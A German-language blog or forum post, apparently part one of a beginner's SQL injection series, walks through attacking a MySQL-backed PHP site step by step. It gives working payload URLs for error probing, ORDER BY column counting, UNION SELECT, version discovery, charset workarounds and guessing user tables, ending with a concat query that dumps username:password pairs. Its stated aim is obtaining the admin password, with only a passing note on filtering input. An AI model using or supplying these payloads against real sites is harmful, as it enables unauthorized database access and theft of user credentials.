Heyhoo,
wie versprochen werde ich nun das vllt von einigen lang erwartete SQL Injection Tutorial schreiben. Ich hatte damals ein recht ausfuehrliches geschrieben, jedoch isses mir irgendwie weg gekommen und ich find es nicht mehr. Nichts desto trotz werde ich euch hier einiges ueber SQL Injections zeigen, jedoch gehe ich mehr darauf ein wie eine SQL Injection funktioniert und wie man dadurch an nuetzliche Informationen kommt. Wichtig, das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder aehnliches sieht das ganze total anders aus. Da MySQL die “populaerste Open Source” Datenbank ist, wird sie daher auch am haeufigsten verwendet.
Was ist eine SQL Injection?
Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:
SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken, die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht. Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle über den Server zu erhalten.
Heißt kurz und knapp, ihr koennt an das Admin PW kommen.
Nun ich werde das Tutorial in 4 Teile aufteilen, der erste Teil wird der laengste und ausfuehrlichste sein.
Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.
Dann fangen wir mal an
0. Vorwort
Es wird oft behauptet, das PHP & MySQL Wissen fuer eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man oefters und schneller Luecken finden. Auch wird man Luecken nachvollziehen koennen; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu machen, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen koennen. Das reicht dann auch fuer ne normale SQL Injection.
1) Nach einer Luecke suchen
Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma dieses ‘ dranhaengen um einen Error auszuloesen, beispiel:
http://www.site.de/news.php?id=5'
Wenn sich an der Seite nun nichts aendert, gut, dann ist sie relativ sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…
Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt jedoch auch einige andere MySQL Error die verwundbarkeit zeigen.
Schauen wir uns das mal genauer in einem Beispiel Source an:
SELECT * FROM news WHERE id = 5'
Hier sieht man das unser Hochkomma das Query stoert.
(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann waere auch keine SQL Injection moeglich)
Aber unser Query koennte auch so aussehen:
SELECT * FROM news WHERE id = '5''
Jedoch auch hier sieht man was stoert. Naemlich unser Hochkomma ‘ welches das Query unterbricht. Nun haben wir eine Luecke gefunden.
Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True pruefen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page veraendert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt aendert, oder ne Fehlermeldung kommt. Seht ihr dann auch.
2) Anzahl der Columns rausfinden
Da wir spaeter den Befehl UNION benutzen wollen (dazu spaeter mehr) brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewaehlt werden, wuerde unser Query aber so aussehen:
SELECT author,datum,text FROM news WHERE id = 5
Dann waere die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da man jedoch im normalfall kein Query sehen sollte, muessen wir das Mithilfe vom SQL Statement Order By testen.
Das sieht dann etwa so aus:
http://www.site.de/news.php?id=5+order+by+1/*
(Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite nun normal angezeigt wird, dann hat die Page mehr als einen Column.
Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhaengen, dies ist Query abhaengig.
Falls noch ein Error kommt, muessen wir unsere Abfrage mit einem anderen Kommentarzeichen aendern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normal immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
Also testen wir Order By weiter bis ein Error erscheint.
http://www.site.de/news.php?id=5+order+by+5/*
<– aha, Error kommt. Also sind es weniger als 5 columns, oft erscheint ein Error wie z.B.: „Unknown column ‚5‘ in ‚order clause’“
http://www.site.de/news.php?id=5 +order+by+3/* <– kein Error
http://www.site.de/news.php?id=5 +order+by+4/* <– Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam.
Nun haben wir die Column Anzahl vom ersten Query.
3) UNION verwenden
Durch UNION koennen wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:
SELECT author,datum,text FROM news WHERE id = 5 UNION SELECT 1,2,3 FROM blub/*
Auch hier ist das Auskommentieren am Schluss wichtig.
Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, muessen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:
http://www.site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*
Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/
So falls ihr nun aufm Bildschirm zahlen seht, die 1,2 oder 3, dann funktioniert unser UNION SELECT Statement sehr haeufig oder eigentlich sogut wie immer muss man die ID erst ungueltig machen, entweder durch ein minus – was ich gerne und oft benutzte oder durch eine hohe Zahl/ID welche nicht existiert.
Sieht dann so aus:
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*
Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies nicht der fall haben wir eine Falsche Column anzahl erwischt oder der Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3 kein UNION existiert, da es das erst seit Version 4 gibt. Das muesste man dann anders machen, kommt bei Teil 3 von meinem Tut genauer drauf zu sprechen.
4) MySQL Version ermitteln
So, wenn wir nun eine 1,2 oder 3 aufm Bildschirm sehen, dann koennen wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0x4A30686E2E583372 und sehen beim Druecken auf Enter auf einmal dort wo die 2 war “J0hn.X3r” stehen
Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir aufm Bildschirm sehen und ersetzen es in der URL mit version().
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*
(Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)
oder eben
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*
(ich benutzt das erstere lieber)
Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.
Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“
Dann muessen wir die Convert Funktion benutzen, in diesem falle dann
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*
oder
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*
Man kann dies aber auch noch mit unhex(hex()) machen. Durch das Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt ich ganz gerne da es einfacher ist.
Bsp.:
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*
Nun wird die Version angezeigt und es erscheint kein Fehler mehr.
5) Table & Column Namen rausfinden
So nun wollen wir uns auch die Tables & Columns ausgeben lassen.
V4 ist bissle doof, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
user/s, admin/s, member/s, login,…
und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.
Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, muessen wir nen zweites simples MySQL Query machen.
...UNION SELECT 1,2,3 FROM tabelle
Das heißt wir wollen schauen ob die Tabelle existiert. “Waehle aus von Tabelle”.
Wie sieht das nun bei uns aus?
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*
Muss man nun eben durch testen.. wenn man die richtige Tabelle gefunden hat, Werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder unsere 2 und suchen nach den columns.. oben stehen die am meisten verwendeten..
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,username,3/**/FROM/**/users/*
In unserem MySQL Query heißt das nun also:
...UNION SELECT 1,username,3 FROM users/*
Waehle Username aus Tabelle “users”.
Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.
Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich.
Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*
0x3a = hex = (ein Doppelpunkt) :
Nun sehen wir dort:
username:password
Und eine Erfolgreiche SQL Injection.
So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verstaendlich vorallem fuer Anfaenger geworden. Fehler, Kritik, Vorschlaege, Fragen einfach als Kommentar posten